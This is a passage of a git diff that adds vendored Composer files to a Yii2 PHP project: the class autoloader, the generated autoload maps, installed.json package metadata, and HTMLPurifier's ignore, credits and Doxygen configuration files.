$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; + $this->prefixDirsPsr4[$prefix] = (array) $paths; + } + } + + /** + * Turns on searching the include path for class files. + * + * @param bool $useIncludePath + */ + public function setUseIncludePath($useIncludePath) + { + $this->useIncludePath = $useIncludePath; + } + + /** + * Can be used to check if the autoloader uses the include path to check + * for classes. + * + * @return bool + */ + public function getUseIncludePath() + { + return $this->useIncludePath; + } + + /** + * Registers this instance as an autoloader. + * + * @param bool $prepend Whether to prepend the autoloader or not + */ + public function register($prepend = false) + { + spl_autoload_register(array($this, 'loadClass'), true, $prepend); + } + + /** + * Unregisters this instance as an autoloader. + */ + public function unregister() + { + spl_autoload_unregister(array($this, 'loadClass')); + } + + /** + * Loads the given class or interface. + * + * @param string $class The name of the class + * @return bool|null True if loaded, null otherwise + */ + public function loadClass($class) + { + if ($file = $this->findFile($class)) { + includeFile($file); + + return true; + } + } + + /** + * Finds the path to the file where the class is defined. + * + * @param string $class The name of the class + * + * @return string|false The path if found, false otherwise + */ + public function findFile($class) + { + // work around for PHP 5.3.0 - 5.3.2 https://bugs.php.net/50731 + if ('\\' == $class[0]) { + $class = substr($class, 1); + } + + // class map lookup + if (isset($this->classMap[$class])) { + return $this->classMap[$class]; + } + + $file = $this->findFileWithExtension($class, '.php'); + + // Search for Hack files if we are running on HHVM + if ($file === null && defined('HHVM_VERSION')) { + $file = $this->findFileWithExtension($class, '.hh'); + } + + if ($file === null) { + // Remember that this class does not exist. + return $this->classMap[$class] = false; + } + + return $file; + } + + private function findFileWithExtension($class, $ext) + { + // PSR-4 lookup + $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; + + $first = $class[0]; + if (isset($this->prefixLengthsPsr4[$first])) { + foreach ($this->prefixLengthsPsr4[$first] as $prefix => $length) { + if (0 === strpos($class, $prefix)) { + foreach ($this->prefixDirsPsr4[$prefix] as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $length))) { + return $file; + } + } + } + } + } + + // PSR-4 fallback dirs + foreach ($this->fallbackDirsPsr4 as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { + return $file; + } + } + + // PSR-0 lookup + if (false !== $pos = strrpos($class, '\\')) { + // namespaced class name + $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) + . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); + } else { + // PEAR-like class name + $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; + } + + if (isset($this->prefixesPsr0[$first])) { + foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { + if (0 === strpos($class, $prefix)) { + foreach ($dirs as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { + return $file; + } + } + } + } + } + + // PSR-0 fallback dirs + foreach ($this->fallbackDirsPsr0 as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { + return $file; + } + } + + // PSR-0 include paths. + if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { + return $file; + } + } +} + +/** + * Scope isolated include. + * + * Prevents access to $this/self from included files. + */ +function includeFile($file) +{ + include $file; +} diff --git a/php/yii2/basic/vendor/composer/autoload_classmap.php b/php/yii2/basic/vendor/composer/autoload_classmap.php new file mode 100644 index 00000000..7a91153b --- /dev/null +++ b/php/yii2/basic/vendor/composer/autoload_classmap.php @@ -0,0 +1,9 @@ + array($vendorDir . '/ezyang/htmlpurifier/library'), + 'Faker\\PHPUnit' => array($vendorDir . '/fzaninotto/faker/test'), + 'Faker' => array($vendorDir . '/fzaninotto/faker/src'), + 'Diff' => array($vendorDir . '/phpspec/php-diff/lib'), +); diff --git a/php/yii2/basic/vendor/composer/autoload_psr4.php b/php/yii2/basic/vendor/composer/autoload_psr4.php new file mode 100644 index 00000000..61d5f07a --- /dev/null +++ b/php/yii2/basic/vendor/composer/autoload_psr4.php @@ -0,0 +1,18 @@ + array($vendorDir . '/yiisoft/yii2-swiftmailer'), + 'yii\\gii\\' => array($vendorDir . '/yiisoft/yii2-gii'), + 'yii\\faker\\' => array($vendorDir . '/yiisoft/yii2-faker'), + 'yii\\debug\\' => array($vendorDir . '/yiisoft/yii2-debug'), + 'yii\\composer\\' => array($vendorDir . '/yiisoft/yii2-composer'), + 'yii\\codeception\\' => array($vendorDir . '/yiisoft/yii2-codeception'), + 'yii\\bootstrap\\' => array($vendorDir . '/yiisoft/yii2-bootstrap'), + 'yii\\' => array($vendorDir . '/yiisoft/yii2'), + 'cebe\\markdown\\' => array($vendorDir . '/cebe/markdown'), +); diff --git a/php/yii2/basic/vendor/composer/autoload_real.php b/php/yii2/basic/vendor/composer/autoload_real.php new file mode 100644 index 00000000..60d3b6e4 --- /dev/null +++ b/php/yii2/basic/vendor/composer/autoload_real.php @@ -0,0 +1,55 @@ + $path) { + $loader->set($namespace, $path); + } + + $map = require __DIR__ . '/autoload_psr4.php'; + foreach ($map as $namespace => $path) { + $loader->setPsr4($namespace, $path); + } + + $classMap = require __DIR__ . '/autoload_classmap.php'; + if ($classMap) { + $loader->addClassMap($classMap); + } + + $loader->register(true); + + $includeFiles = require __DIR__ . '/autoload_files.php'; + foreach ($includeFiles as $file) { + composerRequire58a41864cde071407a524a64a8bf5a31($file); + } + + return $loader; + } +} + +function composerRequire58a41864cde071407a524a64a8bf5a31($file) +{ + require $file; +} diff --git a/php/yii2/basic/vendor/composer/installed.json b/php/yii2/basic/vendor/composer/installed.json new file mode 100644 index 00000000..e508fe3e --- /dev/null +++ b/php/yii2/basic/vendor/composer/installed.json @@ -0,0 +1,927 @@ +[ + { + "name": "swiftmailer/swiftmailer", + "version": "v5.3.0", + "version_normalized": "5.3.0.0", + "source": { + "type": "git", + "url": "https://github.com/swiftmailer/swiftmailer.git", + "reference": "b86b927dfefdb56ab0b22d1350033d9a38e9f205" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/swiftmailer/swiftmailer/zipball/b86b927dfefdb56ab0b22d1350033d9a38e9f205", + "reference": "b86b927dfefdb56ab0b22d1350033d9a38e9f205", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "require-dev": { + "mockery/mockery": "~0.9.1" + }, + "time": "2014-10-04 05:53:18", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.3-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "lib/swift_required.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Chris Corbyn" + }, + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + } + ], + "description": "Swiftmailer, free feature-rich PHP mailer", + "homepage": "http://swiftmailer.org", + "keywords": [ + "mail", + "mailer" + ] + }, + { + "name": "bower-asset/jquery", + "version": "2.1.1", + "version_normalized": "2.1.1.0", + "source": { + "type": "git", + "url": "https://github.com/jquery/jquery.git", + "reference": "4dec426aa2a6cbabb1b064319ba7c272d594a688" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/jquery/jquery/zipball/4dec426aa2a6cbabb1b064319ba7c272d594a688", + "reference": "4dec426aa2a6cbabb1b064319ba7c272d594a688", + "shasum": "" + }, + "require-dev": { + "bower-asset/qunit": "1.14.0", + "bower-asset/requirejs": "2.1.10", + "bower-asset/sinon": "1.8.1", + "bower-asset/sizzle": "1.10.19" + }, + "type": "bower-asset-library", + "extra": { + "bower-asset-main": "dist/jquery.js", + "bower-asset-ignore": [ + "**/.*", + "build", + "speed", + "test", + "*.md", + "AUTHORS.txt", + "Gruntfile.js", + "package.json" + ] + }, + "installation-source": "dist", + "license": [ + "MIT" + ], + "keywords": [ + "javascript", + "jquery", + "library" + ] + }, + { + "name": "bower-asset/yii2-pjax", + "version": "v2.0.1", + "version_normalized": "2.0.1.0", + "source": { + "type": "git", + "url": "https://github.com/yiisoft/jquery-pjax.git", + "reference": "f07ce95f6098c0bd5421789a20789f39a19be73b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/yiisoft/jquery-pjax/zipball/f07ce95f6098c0bd5421789a20789f39a19be73b", + "reference": "f07ce95f6098c0bd5421789a20789f39a19be73b", + "shasum": "" + }, + "require": { + "bower-asset/jquery": ">=1.8" + }, + "type": "bower-asset-library", + "extra": { + "bower-asset-main": "./jquery.pjax.js", + "bower-asset-ignore": [ + ".travis.yml", + "test/" + ] + }, + "installation-source": "dist" + }, + { + "name": "bower-asset/punycode", + "version": "v1.3.1", + "version_normalized": "1.3.1.0", + "source": { + "type": "git", + "url": "https://github.com/bestiejs/punycode.js.git", + "reference": "de452f89aea23f126f7b219f576abda1c0823825" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/bestiejs/punycode.js/zipball/de452f89aea23f126f7b219f576abda1c0823825", + "reference": "de452f89aea23f126f7b219f576abda1c0823825", + "shasum": "" + }, + "type": "bower-asset-library", + "extra": { + "bower-asset-main": "punycode.js", + "bower-asset-ignore": [ + "coverage", + "tests", + ".*", + "component.json", + "Gruntfile.js", + "node_modules", + "package.json" + ] + }, + "installation-source": "dist" + }, + { + "name": "bower-asset/jquery.inputmask", + "version": "3.1.31", + "version_normalized": "3.1.31.0", + "source": { + "type": "git", + "url": "https://github.com/RobinHerbots/jquery.inputmask.git", + "reference": "2b485a3f9329c829b40872e4463c42143b0c6405" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/RobinHerbots/jquery.inputmask/zipball/2b485a3f9329c829b40872e4463c42143b0c6405", + "reference": "2b485a3f9329c829b40872e4463c42143b0c6405", + "shasum": "" + }, + "require": { + "bower-asset/jquery": ">=1.7" + }, + "type": "bower-asset-library", + "extra": { + "bower-asset-main": [ + "./dist/inputmask/jquery.inputmask.js", + "./dist/inputmask/jquery.inputmask.extensions.js", + "./dist/inputmask/jquery.inputmask.date.extensions.js", + "./dist/inputmask/jquery.inputmask.numeric.extensions.js", + "./dist/inputmask/jquery.inputmask.phone.extensions.js", + "./dist/inputmask/jquery.inputmask.regex.extensions.js" + ], + "bower-asset-ignore": [ + "**/.*", + "qunit/", + "nuget/", + "tools/", + "js/", + "*.md", + "build.properties", + "build.xml", + "jquery.inputmask.jquery.json" + ] + }, + "installation-source": "dist", + "license": [ + "http://opensource.org/licenses/mit-license.php" + ], + "description": "jquery.inputmask is a jquery plugin which create an input mask.", + "keywords": [ + "form", + "input", + "inputmask", + "jQuery", + "mask", + "plugins" + ] + }, + { + "name": "cebe/markdown", + "version": "1.0.0", + "version_normalized": "1.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/cebe/markdown.git", + "reference": "4f6b35cc5cc1025ed946839fd24e05ace617867a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/cebe/markdown/zipball/4f6b35cc5cc1025ed946839fd24e05ace617867a", + "reference": "4f6b35cc5cc1025ed946839fd24e05ace617867a", + "shasum": "" + }, + "require": { + "lib-pcre": "*", + "php": ">=5.4.0" + }, + "require-dev": { + "cebe/indent": "*", + "facebook/xhprof": "*@dev", + "phpunit/phpunit": "3.7.*" + }, + "time": "2014-10-10 20:54:29", + "bin": [ + "bin/markdown" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "cebe\\markdown\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Carsten Brandt", + "email": "mail@cebe.cc", + "homepage": "http://cebe.cc/", + "role": "Creator" + } + ], + "description": "A super fast, highly extensible markdown parser for PHP", + "homepage": "https://github.com/cebe/markdown#readme", + "keywords": [ + "extensible", + "fast", + "gfm", + "markdown", + "markdown-extra" + ] + }, + { + "name": "ezyang/htmlpurifier", + "version": "v4.6.0", + "version_normalized": "4.6.0.0", + "source": { + "type": "git", + "url": "https://github.com/ezyang/htmlpurifier.git", + "reference": "6f389f0f25b90d0b495308efcfa073981177f0fd" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ezyang/htmlpurifier/zipball/6f389f0f25b90d0b495308efcfa073981177f0fd", + "reference": "6f389f0f25b90d0b495308efcfa073981177f0fd", + "shasum": "" + }, + "require": { + "php": ">=5.2" + }, + "time": "2013-11-30 08:25:19", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "HTMLPurifier": "library/" + }, + "files": [ + "library/HTMLPurifier.composer.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL" + ], + "authors": [ + { + "name": "Edward Z. Yang", + "email": "admin@htmlpurifier.org", + "homepage": "http://ezyang.com", + "role": "Developer" + } + ], + "description": "Standards compliant HTML filter written in PHP", + "homepage": "http://htmlpurifier.org/", + "keywords": [ + "html" + ] + }, + { + "name": "yiisoft/yii2-composer", + "version": "2.0.0", + "version_normalized": "2.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/yiisoft/yii2-composer.git", + "reference": "4ccbb7dd1cc7c5d2da316bb92db784e3b3e403fb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/yiisoft/yii2-composer/zipball/4ccbb7dd1cc7c5d2da316bb92db784e3b3e403fb", + "reference": "4ccbb7dd1cc7c5d2da316bb92db784e3b3e403fb", + "shasum": "" + }, + "require": { + "composer-plugin-api": "1.0.0" + }, + "time": "2014-10-12 17:09:06", + "type": "composer-plugin", + "extra": { + "class": "yii\\composer\\Plugin", + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "yii\\composer\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Qiang Xue", + "email": "qiang.xue@gmail.com" + } + ], + "description": "The composer plugin for Yii extension installer", + "keywords": [ + "composer", + "extension installer", + "yii2" + ] + }, + { + "name": "yiisoft/yii2", + "version": "2.0.0", + "version_normalized": "2.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/yiisoft/yii2-framework.git", + "reference": "cf1ce50f33344fa2cf1b384cd86c1424493d3323" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/yiisoft/yii2-framework/zipball/cf1ce50f33344fa2cf1b384cd86c1424493d3323", + "reference": "cf1ce50f33344fa2cf1b384cd86c1424493d3323", + "shasum": "" + }, + "require": { + "bower-asset/jquery": "2.1.*@stable | 1.11.*@stable", + "bower-asset/jquery.inputmask": "3.1.*", + "bower-asset/punycode": "1.3.*", + "bower-asset/yii2-pjax": ">=2.0.1", + "cebe/markdown": "~1.0.0", + "ext-mbstring": "*", + "ezyang/htmlpurifier": "4.6.*", + "lib-pcre": "*", + "php": ">=5.4.0", + "yiisoft/yii2-composer": "*" + }, + "time": "2014-10-12 17:09:06", + "bin": [ + "yii" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "yii\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Qiang Xue", + "email": "qiang.xue@gmail.com", + "homepage": "http://www.yiiframework.com/", + "role": "Founder and project lead" + }, + { + "name": "Alexander Makarov", + "email": "sam@rmcreative.ru", + "homepage": "http://rmcreative.ru/", + "role": "Core framework development" + }, + { + "name": "Maurizio Domba", + "homepage": "http://mdomba.info/", + "role": "Core framework development" + }, + { + "name": "Carsten Brandt", + "email": "mail@cebe.cc", + "homepage": "http://cebe.cc/", + "role": "Core framework development" + }, + { + "name": "Timur Ruziev", + "email": "resurtm@gmail.com", + "homepage": "http://resurtm.com/", + "role": "Core framework development" + }, + { + "name": "Paul Klimov", + "email": "klimov.paul@gmail.com", + "role": "Core framework development" + } + ], + "description": "Yii PHP Framework Version 2", + "homepage": "http://www.yiiframework.com/", + "keywords": [ + "framework", + "yii2" + ] + }, + { + "name": "yiisoft/yii2-swiftmailer", + "version": "2.0.0", + "version_normalized": "2.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/yiisoft/yii2-swiftmailer.git", + "reference": "40fc07ab41e553c8ffaf0847f10ddc68cb553cf8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/yiisoft/yii2-swiftmailer/zipball/40fc07ab41e553c8ffaf0847f10ddc68cb553cf8", + "reference": "40fc07ab41e553c8ffaf0847f10ddc68cb553cf8", + "shasum": "" + }, + "require": { + "swiftmailer/swiftmailer": "*", + "yiisoft/yii2": "*" + }, + "time": "2014-10-12 17:09:06", + "type": "yii2-extension", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "yii\\swiftmailer\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Paul Klimov", + "email": "klimov.paul@gmail.com" + } + ], + "description": "The SwiftMailer integration for the Yii framework", + "keywords": [ + "email", + "mail", + "mailer", + "swift", + "swiftmailer", + "yii2" + ] + }, + { + "name": "yiisoft/yii2-codeception", + "version": "2.0.0", + "version_normalized": "2.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/yiisoft/yii2-codeception.git", + "reference": "2d19dde0b11db3a06bec245b6d2b4343fe59ea39" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/yiisoft/yii2-codeception/zipball/2d19dde0b11db3a06bec245b6d2b4343fe59ea39", + "reference": "2d19dde0b11db3a06bec245b6d2b4343fe59ea39", + "shasum": "" + }, + "require": { + "yiisoft/yii2": "*" + }, + "time": "2014-10-12 17:09:06", + "type": "yii2-extension", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "yii\\codeception\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Mark Jebri", + "email": "mark.github@yandex.ru" + } + ], + "description": "The Codeception integration for the Yii framework", + "keywords": [ + "codeception", + "yii2" + ] + }, + { + "name": "bower-asset/bootstrap", + "version": "v3.2.0", + "version_normalized": "3.2.0.0", + "source": { + "type": "git", + "url": "https://github.com/twbs/bootstrap.git", + "reference": "c068162161154a4b85110ea1e7dd3d7897ce2b72" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/twbs/bootstrap/zipball/c068162161154a4b85110ea1e7dd3d7897ce2b72", + "reference": "c068162161154a4b85110ea1e7dd3d7897ce2b72", + "shasum": "" + }, + "require": { + "bower-asset/jquery": ">=1.9.0" + }, + "type": "bower-asset-library", + "extra": { + "bower-asset-main": [ + "less/bootstrap.less", + "dist/css/bootstrap.css", + "dist/js/bootstrap.js", + "dist/fonts/glyphicons-halflings-regular.eot", + "dist/fonts/glyphicons-halflings-regular.svg", + "dist/fonts/glyphicons-halflings-regular.ttf", + "dist/fonts/glyphicons-halflings-regular.woff" + ], + "bower-asset-ignore": [ + ".*", + "_config.yml", + "CNAME", + "composer.json", + "CONTRIBUTING.md", + "docs", + "js/tests", + "test-infra" + ] + }, + "installation-source": "dist", + "description": "The most popular front-end framework for developing responsive, mobile first projects on the web.", + "keywords": [ + "css", + "framework", + "front-end", + "js", + "less", + "mobile-first", + "responsive", + "web" + ] + }, + { + "name": "yiisoft/yii2-bootstrap", + "version": "2.0.0", + "version_normalized": "2.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/yiisoft/yii2-bootstrap.git", + "reference": "925395bd697c3ba2ce73937a7a236bdf26344417" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/yiisoft/yii2-bootstrap/zipball/925395bd697c3ba2ce73937a7a236bdf26344417", + "reference": "925395bd697c3ba2ce73937a7a236bdf26344417", + "shasum": "" + }, + "require": { + "bower-asset/bootstrap": "3.2.* | 3.1.*", + "yiisoft/yii2": "*" + }, + "time": "2014-10-12 17:09:06", + "type": "yii2-extension", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "yii\\bootstrap\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Qiang Xue", + "email": "qiang.xue@gmail.com" + } + ], + "description": "The Twitter Bootstrap extension for the Yii framework", + "keywords": [ + "bootstrap", + "yii2" + ] + }, + { + "name": "yiisoft/yii2-debug", + "version": "2.0.0", + "version_normalized": "2.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/yiisoft/yii2-debug.git", + "reference": "9108fff1bd117ba608b3d17aba4727d916deb3a8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/yiisoft/yii2-debug/zipball/9108fff1bd117ba608b3d17aba4727d916deb3a8", + "reference": "9108fff1bd117ba608b3d17aba4727d916deb3a8", + "shasum": "" + }, + "require": { + "yiisoft/yii2": "*", + "yiisoft/yii2-bootstrap": "*" + }, + "time": "2014-10-12 17:09:06", + "type": "yii2-extension", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "yii\\debug\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Qiang Xue", + "email": "qiang.xue@gmail.com" + } + ], + "description": "The debugger extension for the Yii framework", + "keywords": [ + "debug", + "debugger", + "yii2" + ] + }, + { + "name": "bower-asset/typeahead.js", + "version": "v0.10.5", + "version_normalized": "0.10.5.0", + "source": { + "type": "git", + "url": "https://github.com/twitter/typeahead.js.git", + "reference": "5f198b87d1af845da502ea9df93a5e84801ce742" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/twitter/typeahead.js/zipball/5f198b87d1af845da502ea9df93a5e84801ce742", + "reference": "5f198b87d1af845da502ea9df93a5e84801ce742", + "shasum": "" + }, + "require": { + "bower-asset/jquery": ">=1.7" + }, + "require-dev": { + "bower-asset/jasmine-ajax": ">=1.3.1,<1.4", + "bower-asset/jasmine-jquery": ">=1.5.2,<1.6", + "bower-asset/jquery": ">=1.7,<1.8" + }, + "type": "bower-asset-library", + "extra": { + "bower-asset-main": "dist/typeahead.bundle.js" + }, + "installation-source": "dist" + }, + { + "name": "phpspec/php-diff", + "version": "v1.0.2", + "version_normalized": "1.0.2.0", + "source": { + "type": "git", + "url": "https://github.com/phpspec/php-diff.git", + "reference": "30e103d19519fe678ae64a60d77884ef3d71b28a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpspec/php-diff/zipball/30e103d19519fe678ae64a60d77884ef3d71b28a", + "reference": "30e103d19519fe678ae64a60d77884ef3d71b28a", + "shasum": "" + }, + "time": "2013-11-01 13:02:21", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "Diff": "lib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Chris Boulton", + "homepage": "http://github.com/chrisboulton", + "role": "Original developer" + } + ], + "description": "A comprehensive library for generating differences between two hashable objects (strings or arrays)." + }, + { + "name": "yiisoft/yii2-gii", + "version": "2.0.0", + "version_normalized": "2.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/yiisoft/yii2-gii.git", + "reference": "0ab5293df49246a2002210150fa22af37fd9b782" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/yiisoft/yii2-gii/zipball/0ab5293df49246a2002210150fa22af37fd9b782", + "reference": "0ab5293df49246a2002210150fa22af37fd9b782", + "shasum": "" + }, + "require": { + "bower-asset/typeahead.js": "0.10.*", + "phpspec/php-diff": ">=1.0.2", + "yiisoft/yii2": "*", + "yiisoft/yii2-bootstrap": "*" + }, + "time": "2014-10-12 17:09:06", + "type": "yii2-extension", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "yii\\gii\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Qiang Xue", + "email": "qiang.xue@gmail.com" + } + ], + "description": "The Gii extension for the Yii framework", + "keywords": [ + "code generator", + "gii", + "yii2" + ] + }, + { + "name": "fzaninotto/faker", + "version": "v1.4.0", + "version_normalized": "1.4.0.0", + "source": { + "type": "git", + "url": "https://github.com/fzaninotto/Faker.git", + "reference": "010c7efedd88bf31141a02719f51fb44c732d5a0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/fzaninotto/Faker/zipball/010c7efedd88bf31141a02719f51fb44c732d5a0", + "reference": "010c7efedd88bf31141a02719f51fb44c732d5a0", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "require-dev": { + "phpunit/phpunit": "~4.0", + "squizlabs/php_codesniffer": "~1.5" + }, + "time": "2014-06-04 14:43:02", + "type": "library", + "extra": { + "branch-alias": [ + + ] + }, + "installation-source": "dist", + "autoload": { + "psr-0": { + "Faker": "src/", + "Faker\\PHPUnit": "test/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "François Zaninotto" + } + ], + "description": "Faker is a PHP library that generates fake data for you.", + "keywords": [ + "data", + "faker", + "fixtures" + ] + }, + { + "name": "yiisoft/yii2-faker", + "version": "2.0.0", + "version_normalized": "2.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/yiisoft/yii2-faker.git", + "reference": "7e86db1260be50f5124efb8549172699ad52bed3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/yiisoft/yii2-faker/zipball/7e86db1260be50f5124efb8549172699ad52bed3", + "reference": "7e86db1260be50f5124efb8549172699ad52bed3", + "shasum": "" + }, + "require": { + "fzaninotto/faker": "*", + "yiisoft/yii2": "*" + }, + "time": "2014-10-12 17:09:06", + "type": "yii2-extension", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "yii\\faker\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Mark Jebri", + "email": "mark.github@yandex.ru" + } + ], + "description": "Fixture generator. The Faker integration for the Yii framework.", + "keywords": [ + "Fixture", + "faker", + "yii2" + ] + } +] diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/.gitattributes b/php/yii2/basic/vendor/ezyang/htmlpurifier/.gitattributes new file mode 100644 index 00000000..51e64837 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/.gitattributes @@ -0,0 +1 @@ +configdoc/usage.xml -crlf diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/.gitignore b/php/yii2/basic/vendor/ezyang/htmlpurifier/.gitignore new file mode 100644 index 00000000..553f454d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/.gitignore @@ -0,0 +1,28 @@ +tags +conf/ +test-settings.php +config-schema.php +library/HTMLPurifier/DefinitionCache/Serializer/*/ +library/standalone/ +library/HTMLPurifier.standalone.php +library/HTMLPurifier*.tgz +library/package*.xml +smoketests/test-schema.html +configdoc/*.html +configdoc/configdoc.xml +docs/doxygen* +*.phpt.diff +*.phpt.exp +*.phpt.log +*.phpt.out +*.phpt.php +*.phpt.skip.php +*.htmlt.ini +*.patch +/*.php +vendor +composer.lock +*.rej +*.orig +*.bak +core diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/CREDITS b/php/yii2/basic/vendor/ezyang/htmlpurifier/CREDITS new file mode 100644 index 00000000..7921b45a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/CREDITS @@ -0,0 +1,9 @@ + +CREDITS + +Almost everything written by Edward Z. Yang (Ambush Commander). Lots of thanks +to the DevNetwork Community for their help (see docs/ref-devnetwork.html for +more details), Feyd especially (namely IPv6 and optimization). Thanks to RSnake +for letting me package his fantastic XSS cheatsheet for a smoketest. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/Doxyfile b/php/yii2/basic/vendor/ezyang/htmlpurifier/Doxyfile new file mode 100644 index 00000000..b6130b9b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/Doxyfile @@ -0,0 +1,1317 @@ +# Doxyfile 1.5.3 + +# This file describes the settings to be used by the documentation system +# doxygen (www.doxygen.org) for a project +# +# All text after a hash (#) is considered a comment and will be ignored +# The format is: +# TAG = value [value, ...] +# For lists items can also be appended using: +# TAG += value [value, ...] +# Values that contain spaces should be placed between quotes (" ") + +#--------------------------------------------------------------------------- +# Project related configuration options +#--------------------------------------------------------------------------- + +# This tag specifies the encoding used for all characters in the config file that +# follow. The default is UTF-8 which is also the encoding used for all text before +# the first occurrence of this tag. Doxygen uses libiconv (or the iconv built into +# libc) for the transcoding. See http://www.gnu.org/software/libiconv for the list of +# possible encodings. + +DOXYFILE_ENCODING = UTF-8 + +# The PROJECT_NAME tag is a single word (or a sequence of words surrounded +# by quotes) that should identify the project. + +PROJECT_NAME = HTMLPurifier + +# The PROJECT_NUMBER tag can be used to enter a project or revision number. +# This could be handy for archiving the generated documentation or +# if some version control system is used. + +PROJECT_NUMBER = 4.6.0 + +# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) +# base path where the generated documentation will be put. +# If a relative path is entered, it will be relative to the location +# where doxygen was started. If left blank the current directory will be used. + +OUTPUT_DIRECTORY = "docs/doxygen " + +# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create +# 4096 sub-directories (in 2 levels) under the output directory of each output +# format and will distribute the generated files over these directories. 